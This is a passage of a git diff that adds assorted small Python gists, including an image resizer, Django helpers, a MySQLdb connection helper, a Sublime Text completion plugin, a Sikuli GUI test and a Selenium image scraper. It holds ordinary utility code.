@@ -0,0 +1,21 @@
+import os
+
+from PIL import Image, ImageOps
+
+def resize_image(path, box, out=None, fit=True, quality=75):
+    """ Downsample an image.
+
+        @param path:    string - path to the original image
+        @param box:     tuple(x, y) - the bounding box of the result image
+        @param out:     file-like-object - save the image into the output stream
+        @param fit:     boolean - crop the image to fill the box
+        @param quality: int - JPEG quality
+    """
+    img = Image.open(path)
+    if fit:
+        img = ImageOps.fit(img, box, Image.ANTIALIAS)
+    else:
+        img.thumbnail(box, Image.ANTIALIAS)
+    if not out:
+        out = os.path.splitext(path)[0] + ".tn.jpg"
+    img.save(out, "JPEG", quality=quality)
diff --git a/hard-gists/2025129/._snippet.py b/hard-gists/2025129/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2025129/._snippet.py differ
diff --git a/hard-gists/2025129/snippet.py b/hard-gists/2025129/snippet.py
new file mode 100644
index 00000000..3ed997d6
--- /dev/null
+++ b/hard-gists/2025129/snippet.py
@@ -0,0 +1,16 @@
+import re
+
+from django import template
+from django.template.defaultfilters import stringfilter
+
+
+register = template.Library()
+
+CONTROL_CHARACTERS = re.compile(r'([\x00-\x1f\x7f-\x9f])*')
+
+
+@register.filter
+@stringfilter
+def strip_control_characters(value):
+    """Strips Unicode control characters from input."""
+    return CONTROL_CHARACTERS.sub('', value)
\ No newline at end of file
diff --git a/hard-gists/2030390/._snippet.py b/hard-gists/2030390/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2030390/._snippet.py differ
diff --git a/hard-gists/2030390/snippet.py b/hard-gists/2030390/snippet.py
new file mode 100644
index 00000000..073d3d12
--- /dev/null
+++ b/hard-gists/2030390/snippet.py
@@ -0,0 +1,91 @@
+import MySQLdb
+
+##
+# @author Jay Taylor [@jtaylor]
+# @date 2010-11-15
+#
+# @description This is a basic database helper script which will setup the connection.
+#
+# @requirements The MySQLdb package must be installed, i.e. `sudo easy_install MySQLdb`
+#
+# @example Execute a SELECT query.
+#    import MySQLdb
+#    from dbhelper import *
+#
+#    def fetchMatchingPostIds(gmtTs, url):
+#        # Fetch a connection to the database.
+#        conn = getConn()
+#
+#        # Setup the cursor.
+#        cursor = setup_cursor(conn.cursor())
+#
+#        # Generate the SQL query.
+#        sql = ''' 
+#            SELECT id
+#            FROM myDb.posts
+#            WHERE postType = 'post'
+#                AND postDateGmt = %s
+#                AND guid like %s
+#        ''' % ( 
+#            conn.literal(gmtTs), conn.literal('%' + url + '%')
+#        )
+#
+#        # Execute query.
+#        cursor.execute(sql)
+#
+#        # Iterate over results and populate output.
+#        results = [x[0] for x in cursor.fetchall()]
+#
+#        # Cleanup the cursor.
+#        cursor.close()
+#
+#        # Return the results.
+#        return results
+#
+#    if __name__ == '__main__':
+#        print fetchMatchingPostIds('2012-03-13 12:01:01', 'google.com', 
+#        
+#
+# @example Add an index to a table.
+#    import MySQLdb
+#    from dbhelper import *
+#
+#    conn = getConn()
+#    cursor = setup_cursor(conn.cursor(MySQLdb.cursors.DictCursor))
+#    sql = 'ALTER TABLE myTable ADD UNIQUE (colName1, colName2)'
+#    try:
+#        cursor.execute(sql)
+#        print 'UNIQUE KEY SUCCESSFULLY ADDED TO WP_POSTS! GOOD JOB.'
+#                break
+#    except MySQldb.IntegrityError, e:
+#        print 'Caught integrity error: %s' % e
+#    except Exception, e:
+#        print 'Caught exception: %s' % e
+#
+
+
+DB_CONFIG = {
+    'name': '<NAME_OF_DB>',
+    'host': '<DB_HOSTNAME>',
+    'user': '<DB_USERNAME>',
+    'pass': '<DB_PASSWORD>'
+}
+
+def getConn():
+    conn = MySQLdb.connect(
+        host=DB_CONFIG['host'],
+        user=DB_CONFIG['user'],
+        passwd=DB_CONFIG['pass'],
+        db=DB_CONFIG['name'],
+        charset='utf8',
+        use_unicode=True,
+    )
+    conn.set_character_set('utf8')
+    return conn
+
+
+def setup_cursor(dbc):
+    dbc.execute('SET NAMES utf8;')
+    dbc.execute('SET CHARACTER SET utf8;')
+    dbc.execute('SET character_set_connection=utf8;')
+    return dbc
\ No newline at end of file
diff --git a/hard-gists/2031484/._snippet.py b/hard-gists/2031484/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2031484/._snippet.py differ
diff --git a/hard-gists/2031484/snippet.py b/hard-gists/2031484/snippet.py
new file mode 100644
index 00000000..134a5c34
--- /dev/null
+++ b/hard-gists/2031484/snippet.py
@@ -0,0 +1,53 @@
+"""
+Simple setup for tastypie with Solr as the backend.  This is based off Daniel Lindsley's Pycon 2012 presentation.  Minor modifications.  
+
+http://speakerdeck.com/u/daniellindsley/p/restful-apis-with-tastypie
+
+http://django-tastypie.readthedocs.org/
+
+"""
+
+import pysolr
+from tastypie import fields
+from tastypie.resources import Resource
+
+class SolrObject(object):
+    def __init__(self, initial=None):
+        self.__dict__['_data'] = initial or {}
+    def __getattr__(self, key):
+        return self._data.get(key, None)
+    def to_dict(self):
+        return self._data
+
+class SolrResource(Resource):
+    id = fields.CharField(attribute='id', default='id')
+    title = fields.CharField(attribute='title', default='title')
+    discipline = fields.ListField(attribute='discipline', default=[])
+    author = fields.CharField(attribute='call_number', null=True, blank=True)
+    
+    
+    class Meta:
+        resource_name = 'solr'
+        object_class = SolrObject
+        app_base = 'http://yourdomain.net/object/%s'
+    
+    def get_resource_uri(self, bundle_or_obj):
+        return self._meta.app_base % bundle_or_obj.obj.id
+    
+    def get_object_list(self, request, **kwargs):
+        query = kwargs.get('query', None) or request.GET.get('q', '*:*')
+        
+        solr = pysolr.Solr('http://localhost:8983/solr/')
+        
+        sset = [SolrObject(initial=res) for res in solr.search(query)]
+        return sset
+    
+    def obj_get_list(self, request=None, **kwargs):
+        query = request.GET.get('query', None)
+        if query:
+            self._meta.query = query
+        return self.get_object_list(request, query=query)
+    
+    def obj_get(self, request=None, **kwargs):
+        return self.get_object_list(request, query='id:%s' % kwargs['pk'])[0]
+    
\ No newline at end of file
diff --git a/hard-gists/2032428/._snippet.py b/hard-gists/2032428/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2032428/._snippet.py differ
diff --git a/hard-gists/2032428/snippet.py b/hard-gists/2032428/snippet.py
new file mode 100644
index 00000000..7944a9f4
--- /dev/null
+++ b/hard-gists/2032428/snippet.py
@@ -0,0 +1,229 @@
+import sublime, sublime_plugin
+import re
+
+py_compl = [			# standard Python functions
+	("abs()\tabs fn", "abs(${1:number})$0"),
+	("all()\tall fn", "all(${1:iterable})$0"),
+	("any()\tany fn", "any(${1:iterable})$0"),
+	("bin()\tbin fn", "bin(${1:integer})$0"),
+	("bool()\tbool fn", "bool(${1:[value]})$0"),
+	("bytearray()\tbytearray fn", 
+		"bytearray(${1:${2:source}${3:[, encoding]}${4:[, errors]}})$0"),
+	("callable()\tcallable fn", "callable(${1:object})$0"),
+	("chr()\tchr fn", "chr(${1:integer})$0"),
+	("classmethod()\tclassmethod fn", "classmethod(${1:function})$0"),
+	("cmp()\tcmp fn", "cmp(${1:x}, ${2:y})$0"),
+	("compile()\tcompile fn", 
+		"compile(${1:source}, ${2:filename}, ${3:mode}${4:[, flags]}${5:[, dont_inherit]})$0"),
+	("complex()\tcomplex fn", "complex(${1:real}${2:[, imag]})$0"),
+	("delattr()\tdelattr fn", "delattr(${1:object}, ${2:name})$0"),
+	("dict()\tdict fn", "dict(${1:arg})$0"),
+	("dir()\tdir fn", "dir(${1:[object]})$0"),
+	("divmod()\tdivmod fn", "divmod(${1:a}, ${2:b})$0"),
+	("enumerate()\tenumerate fn", "enumerate(${1:sequence}${2:[, start]})$0"),
+	("eval()\teval fn", "eval(${1:expression}${2:[, globals]}${3:[, locals]})$0"),
+	("execfile()\texecfile fn", "execfile(${1:filename}${2:[, globals]}${3:[, locals]})$0"),
+	("file()\tfile fn", "file(${1:filename}${2:[, mode]}${3:[, bufsize]})$0"),
+	("filter()\tfilter fn", "filter(${1:function}, ${2:iterable})$0"),
+	("float()\tfloat fn", "float(${1:[x]})$0"),
+	("format()\tformat fn", "format(${1:value}${2:[, format_spec]})$0"),
+	("frozenset()\tfrozenset fn", "frozenset(${1:[iterable]})$0"),
+	("getattr()\tgetattr fn", "getattr(${1:object}, ${2:name}${3:[, default]})$0"),
+	("globals()\tglobals fn", "globals()$0"),
+	("hasattr()\thasattr fn", "hasattr(${1:object}, ${2:name})$0"),
+	("hash()\thash fn", "hash(${1:object})$0"),
+	("help()\thelp fn", "help(${1:[object]})$0"),
+	("hex()\thex fn", "hex(${1:x})$0"),
+	("id()\tid fn", "id(${1:object})$0"),
+	("input()\tinput fn", "input(${1:[prompt]})$0"),
+	("int()\tint fn", "int(${1:x}${2:[, base]})$0"),
+	("isinstance()\tisinstance fn", "isinstance(${1:object}, ${2:classinfo})$0"),
+	("issubclass()\tissubclass fn", "issubclass(${1:class}, ${2:classinfo})$0"),
+	("iter()\titer fn", "iter(${1:o}${2:[, sentinel]})$0"),
+	("len()\tlen fn", "len(${1:object})$0"),
+	("list()\tlist fn", "list(${1:[iterable]})$0"),
+	("locals()\tlocals fn", "locals()$0"),
+	("long()\tlong fn", "long(${1:x}${2:[, base]})$0"),
+	("map()\tmap fn", "map(${1:function}${2:[, iterables]})$0"),
+	("max()\tmax fn", "max(${1:iterable}${2:[, args]}${3:[, key]})$0"),
+	("memoryview()\tmemoryview fn", "memoryview(${1:object})$0"),
+	("min()\tmin fn", "min(${1:iterable}${2:[, args]}${3:[, key]})$0"),
+	("next()\tnext fn", "next(${1:iterator}${2:[, default]})$0"),
+	("object()\tobject fn", "object()$0"),
+	("oct()\toct fn", "oct(${1:integer})$0"),
+	("open()\topen fn", "open(${1:filename}${2:[, mode]}${3:[, bufsize]})$0"),
+	("ord()\tord fn", "ord(${1:char})$0"),
+	("pow()\tpow fn", "pow(${1:x}, ${2:y}${3:[, modulo]})$0"),
+	("print()\tprint fn", 
+		"print(${1:[object, ...][, sep=' '][, end='\\n'][, file=sys.stdout]})$0"),
+	("property()\tproperty fn", "property(${1:[fget[, fset[, fdel[, doc]]]]})$0"),
+	("range()\trange fn", "range(${1:[start, ]}${2:stop}${3:[, step]})$0"),
+	("raw_input()\traw_input fn", "raw_input(${1:[prompt]})$0"),
+	("reduce()\treduce fn", "reduce(${1:function}, ${2:iterable}${3:[, initializer]})$0"),
+	("reload()\treload fn", "reload(${1:module})$0"),
+	("repr()\trepr fn", "repr(${1:object})$0"),
+	("reversed()\treversed fn", "reversed(${1:seq})$0"),
+	("round()\tround fn", "round(${1:float}${2:[, digits]})$0"),
+	("set()\tset fn", "set(${1:[iterable]})$0"),
+	("setattr()\tsetattr fn", "setattr(${1:object}, ${2:name}, ${3:value})$0"),
+	("slice()\tslice fn", "slice(${1:[start, ]}${2:stop}${3:[, step]})$0"),
+	("sorted()\tsorted fn", 
+		"sorted(${1:iterable}${2:${3:[, cmp]}${4:[, key]}${5:[, reverse]}})$0"),
+	("staticmethod()\tstaticmethod fn", "staticmethod(${1:function})$0"),
+	("str()\tString fn", "str(${1:object})$0"),
+	("sum()\tsum fn", "sum(${1:iterable}${2:[, start]})$0"),
+	("super()\tsuper fn", "super(${1:type}${2:[, object/type]})$0"),
+	("tuple()\ttuple fn", "tuple(${1:[iterable]})$0"),
+	("type()\ttype fn", "type(${1:object})$0"),
+	("type()\ttype ctor", "type(${1:name}, ${2:bases}, ${3:dict})$0"),
+	("__import__()\t__import__ fn", 
+		"__import__(${1:name}${2:[, globals, locals, fromlist, level]})$0"),
+	("unichr()\tunichr fn", "unichr(${1:[integer]})$0"),
+	("unicode()\tunicode fn", "unicode(${1:[object, ]}${2:encoding}${3:[, errors]})$0"),
+	("vars()\tvars fn", "vars(${1:[object]})$0"),
+	("xrange()\txrange fn", "xrange(${1:[start, ]}${2:stop}${3:[, step]})$0"),
+	("zip()\tzip fn", "zip(${1:iterable})$0")
+]
+
+subl_compl = [					# Sublime .methods
+	("active_group()\tST Window", "active_group()$0"),
+	("active_view()\tST Window", "active_view()$0"),
+	("active_view_in_group()\tST Window", "active_view_in_group(${1:group})$0"),
+	("active_window()\tsublime", "active_window()$0"),
+	("add()\tST RegionSet", "add(${1:region})$0"),
+	("add_all()\tST RegionSet", "add_all(${1:region_set})$0"),
+	("add_on_change()\tST Settings", "add_on_change(${1:key}, ${2:on_change})$0"),
+	("add_regions()\tST View",
+		"add_regions(${1:key}${2:[, regions]}, ${3:scope}${4:[, icon]}${5:[, flags]})$0"),
+	("arch()\tsublime", "arch()$0"),
+	("begin()\tST Region", "begin()$0"),
+	("begin_edit()\tST View", "begin_edit(${1:[command]}${2:[, args]})$0"),
+	("buffer_id()\tST View", "buffer_id()$0"),
+	("clear_on_change()\tST Settings", "clear_on_change(${1:key})$0"),
+	("command_history()\tST View", "command_history(${1:[index]}${2:[, modifying_only]})$0"),
+	("contains()\tST Region/Set", "contains(${1:region/pt})$0"),
+	("cover()\tST Region", "cover(${1:region})$0"),
+	("em_width()\tST View", "em_width()$0"),
+	("empty()\tST Region", "empty()$0"),
+	("encoding()\tST View", "encoding()$0"),
+	("end()\tST Region", "end()$0"),
+	("end_edit()\tST View", "end_edit(${1:edit})$0"),
+	("erase()\tST Settings", "erase(${1:name})$0"),
+	("erase()\tST View", "erase(${1:edit}, ${2:region})$0"),
+	("erase_regions()\tST View", "erase_regions(${1:key})$0"),
+	("erase_status()\tST View", "erase_status(${1:key})$0"),
+	("error_message()\tsublime", "error_message(${1:string})$0"),
+	("extract_scope()\tST View", "extract_scope(${1:point})$0"),
+	("file_name()\tST View", "file_name()$0"),
+	("find()\tST View", "find(${1:pattern}, ${2:fromPosition}${3:[, flags]})$0"),
+	("find_all()\tST View",
+		"find_all(${1:pattern}${2:[, flags]}${3:[, format]}${4:[, extractions]})$0"),
+	("focus_group()\tST Window", "focus_group(${1:group})$0"),
+	("focus_view()\tST Window", "focus_view(${1:view})$0"),
+	("fold()\tST View", "fold(${1:region(s)})$0"),
+	("folders()\tST Window", "folders()$0"),
+	("full_line()\tST View", "full_line(${1:region/pt})$0"),
+	("find_by_selector()\tST View", "find_by_selector(${1:selector})$0"),
+	("get()\tST Settings", "get(${1:name}${2:[, default]})$0"),
+	("get_clipboard()\tsublime", "get_clipboard()$0"),
+	("get_output_panel()\tST Window", "get_output_panel(${1:name})$0"),
+	("get_regions()\tST View", "get_regions(${1:key})$0"),
+	("get_status()\tST View", "get_status(${1:key})$0"),
+	("get_view_index()\tST Window", "get_view_index(${1:view})$0"),
+	("has()\tST Settings", "has(${1:name})$0"),
+	("id()\tST View/Window", "id()$0"),
+	("insert()\tST View", "insert(${1:edit}, ${2:point}, ${3:string})$0"),
+	("installed_packages_path()\tsublime", "installed_packages_path()$0"),
+	("intersection()\tST Region", "intersection(${1:region})$0"),
+	("intersects()\tST Region", "intersects(${1:region})$0"),
+	("is_dirty()\tST View", "is_dirty()$0"),
+	("is_loading()\tST View", "is_loading()$0"),
+	("is_read_only()\tST View", "is_read_only()$0"),
+	("is_scratch()\tST View", "is_scratch()$0"),
+	("layout_extent()\tST View", "layout_extent()$0"),
+	("layout_to_text()\tST View", "layout_to_text(${1:vector})$0"),
+	("line()\tST View", "line(${1:region/pt})$0"),
+	("line_endings()\tST View", "line_endings()$0"),
+	("line_height()\tST View", "line_height()$0"),
+	("lines()\tST View", "lines(${1:region})$0"),
+	("load_settings()\tsublime", "load_settings(${1:base_name})$0"),
+	("log_commands()\tsublime", "log_commands(${1:flag})$0"),
+	("log_input()\tsublime", "log_input(${1:flag})$0"),
+	("message_dialog()\tsublime", "message_dialog(${1:string})$0"),
+	("name()\tST View", "name()$0"),
+	("new_file()\tST Window", "new_file()$0"),
+	("num_groups()\tST Window", "num_groups()$0"),
+	("ok_cancel_dialog()\tsublime", "ok_cancel_dialog(${1:string}${2:[, ok_button]})$0"),
+	("open_file()\tST Window", "open_file(${1:file_name}${2:[, flags]})$0"),
+	("packages_path()\tsublime", "packages_path()$0"),
+	("platform()\tsublime", "platform()$0"),
+	("Region()\tsublime", "Region(${1:a}, ${2:b})$0"),
+	("replace()\tST View", "replace(${1:edit}, ${2:region}, ${3:string})$0"),
+	("rowcol()\tST View", "rowcol(${1:point})$0"),
+	("run_command()\tsublime/View/Window", "run_command(${1:string}${2:[, args]})$0"),
+	("save_settings()\tsublime", "save_settings(${1:base_name})$0"),
+	("scope_name()\tST View", "scope_name(${1:point})$0"),
+	("score_selector()\tST View/Window", "score_selector(${1:scope/pt}, ${2:selector})$0"),
+	("sel()\tST View", "sel()$0"),
+	("set()\tST Settings", "set(${1:name}, ${2:value})$0"),
+	("set_clipboard()\tsublime", "set_clipboard(${1:string})$0"),
+	("set_encoding()\tST View", "set_encoding(${1:encoding})$0"),
+	("set_line_endings()\tST View", "set_line_endings(${1:line_endings})$0"),
+	("set_name()\tST View", "set_name(${1:name})$0"),
+	("set_read_only()\tST View", "set_read_only(${1:value})$0"),
+	("set_scratch()\tST View", "set_scratch(${1:value})$0"),
+	("set_status()\tST View", "set_status(${1:key}, ${2:value})$0"),
+	("set_syntax_file()\tST View", "set_syntax_file(${1:syntax_file})$0"),
+	("set_timeout()\tsublime", "set_timeout(${1:callback}, ${2:delay})$0"),
+	("set_view_index()\tST Window", "set_view_index(${1:view}, ${2:group}, ${3:index})$0"),
+	("settings()\tST View", "settings()$0"),
+	("set_viewport_position()\tST View", "set_viewport_position(${1:vector}${2:[, animate]})$0"),
+	("show()\tST View", "show(${1:region/pt}${2:[, show_surrounds]})$0"),
+	("show_at_center()\tST View", "show_at_center(${1:region/pt})$0"),
+	("show_input_panel()\tST Window",
+	"show_input_panel(${1:caption}, ${2:initial_text}, ${3:on_done}, ${4:on_change}, ${5:on_cancel})$0"),
+	("show_quick_panel()\tST Window",
+		"show_quick_panel(${1:items}, ${2:on_done}${3:[, flags]})$0"),
+	("size()\tST Region/View", "size()$0"),
+	("split_by_newlines()\tST View", "split_by_newlines(${1:region})$0"),
+	("status_message()\tsublime", "status_message(${1:string})$0"),
+	("substr()\tST View", "substr(${1:region/pt})$0"),
+	("subtract()\tST RegionSet", "subtract(${1:region})$0"),
+	("text_point()\tST View", "text_point(${1:row}, ${2:col})$0"),
+	("text_to_layout()\tST View", "text_to_layout(${1:point})$0"),
+	("unfold()\tST View", "unfold(${1:region(s)})$0"),
+	("version()\tsublime", "version()$0"),
+	("viewport_extent()\tST View", "viewport_extent()$0"),
+	("viewport_position()\tST View", "viewport_position()$0"),
+	("views()\tST Window", "views()$0"),
+	("views_in_group()\tST Window", "views_in_group(${1:group})$0"),
+	("visible_region()\tST View", "visible_region()$0"),
+	("window()\tST View", "window()$0"),
+	("windows()\tsublime", "windows()$0"),
+	("word()\tST View", "word(${1:region/pt})$0")
+]
+
+def match1(rex, str):
+	m = rex.match(str)
+	if m:
+		return m.group(0)
+	else:
+		return None
+
+class PythonCompletions(sublime_plugin.EventListener):
+	def on_query_completions(self, view, prefix, locations):
+		global py_compl, subl_compl
+
+		if not view.match_selector(locations[0], 'source.python -string -comment -constant'):
+			return []
+		pt = locations[0] - len(prefix) - 1
+		ch = view.substr(sublime.Region(pt, pt + 1))
+		is_dot = (ch == '.')
+		if not is_dot:
+			completions = py_compl				# a reference to py_compl (functions)
+		elif view.find("(?:from|import)\s+sublime", 0) is not None:
+			completions = subl_compl			# Sublime (.methods)
+		else:
+			return []
+		return (completions, sublime.INHIBIT_WORD_COMPLETIONS | sublime.INHIBIT_EXPLICIT_COMPLETIONS)
+		# return completions
\ No newline at end of file
diff --git a/hard-gists/2032745/._snippet.py b/hard-gists/2032745/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2032745/._snippet.py differ
diff --git a/hard-gists/2032745/snippet.py b/hard-gists/2032745/snippet.py
new file mode 100644
index 00000000..6948270b
--- /dev/null
+++ b/hard-gists/2032745/snippet.py
@@ -0,0 +1,86 @@
+# java -cp ~/Downloads/Sikuli-X-1.0rc3\ \(r905\)-linux-x86_64/Sikuli-IDE/sikuli-script.jar org.python.util.jython test.py
+from __future__ import with_statement
+import unittest
+
+from sikuli.Sikuli import *
+
+
+class Firefox(object):
+    """
+    very simple firefox browser context manager
+    """
+
+    def __init__(self, url):
+        self.url = url
+
+    def __enter__(self):
+        Screen(0)
+        app = App.open('firefox')
+        wait(2)
+        type('l', KEY_CTRL)
+        type("%s\n" % self.url)
+
+    def __exit__(self, type_, value, traceback):
+        type('q', KEY_CTRL)
+
+
+class TestBasicScenario(unittest.TestCase):
+    """
+    + check the existence of the download overlay and the toggling of its
+    visibility with the visiblity of the customer list
+    + edit, delete and save (undelete) of a customer yaml (basic scenario)
+    """
+
+    def test_01_on_index_download_overlay_visible(self):
+        assert exists("download-overlay.png")
+
+    def test_02_click_settings_overlay_disappera(self):
+        click("settings.png")
+        wait("new-customer.png" )
+        assert not exists("download-overlay.png")
+
+    def test_03_edit_customer(self):
+        click("semansarada.png")
+        wait("semansarada-editing.png")
+        assert exists("semansarada-yaml.png")
+
+    def test_04_deleting_customer(self):
+        click("trash.png")
+        wait("semansarada-deleted.png")
+
+    def test_05_undeleting_customer(self):
+        click("semansarada.png")
+        wait("semansarada-editing.png")
+        click("save.png")
+        wait("semansarada-saved.png")
+
+    def test_06_closing_customer_list(self):
+        click("settings.png")
+        assert exists("download-overlay.png")
+
+
+# Sikuli settings (no logs)
+Settings.ActionLogs = False
+Settings.InfoLogs = False
+Settings.DebugLogs = False
+
+with Firefox('http://localhost:3000'):
+    suite = unittest.TestLoader().loadTestsFromTestCase(TestBasicScenario)
+    unittest.TextTestRunner(verbosity=2).run(suite)
+
+"""
+[eugene]~/Code/sikuli/tollbooth.sikuli$ java -cp ~/Downloads/Sikuli-X-1.0rc3\ \(r905\)-linux-x86_64/Sikuli-IDE/sikuli-script.jar org.python.util.jython test.py
+[info] Sikuli vision engine loaded.
+[info] VDictProxy loaded.
+test_01_on_index_download_overlay_visible (__main__.TestBasicScenario) ... ok
+test_02_click_settings_overlay_disappera (__main__.TestBasicScenario) ... ok
+test_03_edit_customer (__main__.TestBasicScenario) ... ok
+test_04_deleting_customer (__main__.TestBasicScenario) ... ok
+test_05_undeleting_customer (__main__.TestBasicScenario) ... ok
+test_06_closing_customer_list (__main__.TestBasicScenario) ... ok
+
+----------------------------------------------------------------------
+Ran 6 tests in 23.367s
+
+OK
+"""
\ No newline at end of file
diff --git a/hard-gists/20336/._snippet.py b/hard-gists/20336/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/20336/._snippet.py differ
diff --git a/hard-gists/20336/snippet.py b/hard-gists/20336/snippet.py
new file mode 100644
index 00000000..a86f0d00
--- /dev/null
+++ b/hard-gists/20336/snippet.py
@@ -0,0 +1,16 @@
+#!/usr/local/bin/python
+
+import sys, Image
+
+if __name__ == '__main__':
+    fn = sys.argv[1]
+    img = Image.open(fn).convert('YCbCr')
+    w, h = img.size
+    data = img.getdata()
+    cnt = 0
+    for i, ycbcr in enumerate(data):
+        y, cb, cr = ycbcr
+        if 86 <= cb <= 117 and 140 <= cr <= 168:
+            cnt += 1
+    print '%s %s a porn image.'%(fn, 'is' if cnt > w * h * 0.3 else 'is not')
+
diff --git a/hard-gists/2038329/._snippet.py b/hard-gists/2038329/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2038329/._snippet.py differ
diff --git a/hard-gists/2038329/snippet.py b/hard-gists/2038329/snippet.py
new file mode 100644
index 00000000..85b76491
--- /dev/null
+++ b/hard-gists/2038329/snippet.py
@@ -0,0 +1,27 @@
+from bigfloat import *
+N = 5
+setcontext(precision(10**N))
+
+def f(x):
+    return x + sin(x)
+
+def g(n):
+    x = 3
+    for i in xrange(n):
+        x = f(x)
+        
+    return x
+
+
+import sympy
+goodpi = str(sympy.pi.evalf(10**N))
+
+def goodtill(n):
+    cand = g(n)
+    for i,(a,b) in enumerate(zip(str(cand),goodpi)):
+        if a != b:
+            return i-1
+        
+inds = range(20)
+
+print map(goodtill,inds)
\ No newline at end of file
diff --git a/hard-gists/204a609ee295c81c3cc202ecbe68752c/._snippet.py b/hard-gists/204a609ee295c81c3cc202ecbe68752c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/204a609ee295c81c3cc202ecbe68752c/._snippet.py differ
diff --git a/hard-gists/204a609ee295c81c3cc202ecbe68752c/snippet.py b/hard-gists/204a609ee295c81c3cc202ecbe68752c/snippet.py
new file mode 100644
index 00000000..fb9f25d6
--- /dev/null
+++ b/hard-gists/204a609ee295c81c3cc202ecbe68752c/snippet.py
@@ -0,0 +1,128 @@
+# Copyright (c) 2016 Kenneth Blomqvist
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+############################
+## How to use
+############################
+# To scrape images run e.g. python scrape.py <Search keyword> --count 200 --label <label>
+# The images will be saved in a subfolder called "images" and it will contain another folder called whatever 
+# you passed in as the label parameter. This enables you to easily scrape a bunch of different searches while still 
+# keeping the images organized. The image files will be saved as jpeg images and named by the image contents sha1 hash.
+
+import os
+import re
+import time
+import argparse
+import requests
+import io
+import hashlib
+import itertools
+import base64
+from PIL import Image
+from multiprocessing import Pool
+from selenium import webdriver
+
+argument_parser = argparse.ArgumentParser(description='Download images using google image search')
+argument_parser.add_argument('query', metavar='query', type=str, help='The query to download images from')
+argument_parser.add_argument('--count', metavar='count', default=100, type=int, help='How many images to fetch')
+argument_parser.add_argument('--label', metavar='label', type=str, help="The directory in which to store the images (images/<label>)", required=True)
+
+
+def ensure_directory(path):
+    if not os.path.exists(path):
+        os.mkdir(path)
+
+def largest_file(dir_path):
+    def parse_num(filename):
+        match = re.search('\d+', filename)
+        if match:
+            return int(match.group(0))
+
+    files = os.listdir(dir_path)
+    if len(files) != 0:
+        return max(filter(lambda x: x, map(parse_num, files)))
+    else:
+        return 0
+
+def fetch_image_urls(query, images_to_download):
+    image_urls = set()
+
+    search_url = "https://www.google.com/search?safe=off&site=&tbm=isch&source=hp&q={q}&oq={q}&gs_l=img"
+    browser = webdriver.Firefox()
+    browser.get(search_url.format(q=query))
+    def scroll_to_bottom():
+        browser.execute_script("window.scrollTo(0, document.body.scrollHeight);")
+        time.sleep(2)
+
+    image_count = len(image_urls)
+    delta = 0
+    while image_count < images_to_download:
+        print("Found:", len(image_urls), "images")
+        scroll_to_bottom()
+
+        images = browser.find_elements_by_css_selector("img.rg_ic")
+        for img in images:
+            image_urls.add(img.get_attribute('src'))
+        delta = len(image_urls) - image_count
+        image_count = len(image_urls)
+
+        if delta == 0:
+            print("Can't find more images")
+            break
+
+        fetch_more_button = browser.find_element_by_css_selector(".ksb._kvc")
+        if fetch_more_button:
+            browser.execute_script("document.querySelector('.ksb._kvc').click();")
+            scroll_to_bottom()
+
+    browser.quit()
+    return image_urls
+
+def persist_image(dir_image_src):
+    label_directory = dir_image_src[0]
+    image_src = dir_image_src[1]
+
+    size = (256, 256)
+    try:
+        image_content = requests.get(image_src).content
+    except requests.exceptions.InvalidSchema:
+        # image is probably base64 encoded
+        image_data = re.sub('^data:image/.+;base64,', '', image_src)
+        image_content = base64.b64decode(image_data)
+    except Exception as e:
+        print("could not read", e, image_src)
+        return False
+
+    image_file = io.BytesIO(image_content)
+    image = Image.open(image_file).convert('RGB')
+    resized = image.resize(size)
+    with open(label_directory + hashlib.sha1(image_content).hexdigest() + ".jpg", 'wb')  as f:
+        resized.save(f, "JPEG", quality=85)
+
+    return True
+
+
+if __name__ == '__main__':
+    args = argument_parser.parse_args()
+
+    ensure_directory('./images/')
+
+    query_directory = './images/' + args.label + "/"
+    ensure_directory(query_directory)
+
+    image_urls = fetch_image_urls(args.query, args.count)
+
+    values = [item for item in zip(itertools.cycle([query_directory]), image_urls)]
+
+    print("image count", len(image_urls))
+
+    pool = Pool(12)
+    results = pool.map(persist_image, values)
+    print("Images downloaded: ", len([r for r in results if r]))
+
+
diff --git a/hard-gists/2054744/._snippet.py b/hard-gists/2054744/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2054744/._snippet.py differ
diff --git a/hard-gists/2054744/snippet.py b/hard-gists/2054744/snippet.py
new file mode 100644
index 00000000..0df487e5
--- /dev/null
+++ b/hard-gists/2054744/snippet.py
@@ -0,0 +1,34 @@
+from django.db.models.query import QuerySet
+from django.db.models import Manager
+from datetime import date
+
+
+class EventQuerySet(QuerySet):
+    def published(self):
+        return self.filter(published=True)
+
+    def available_for_adding(self):
+        return self.filter(published=True, private=False)
+
+    def active(self):
+        return self.filter(event_time__start_date__gte=date.today())
+
+    def date_filter(self, start_date, end_date):
+        return self.filter(event_time__start_date__gte=start_date, event_time__end_date__lte=end_date)
+
+
+class EventManager(Manager):
+    def get_query_set(self):
+        return EventQuerySet(self.model, using=self._db)
+
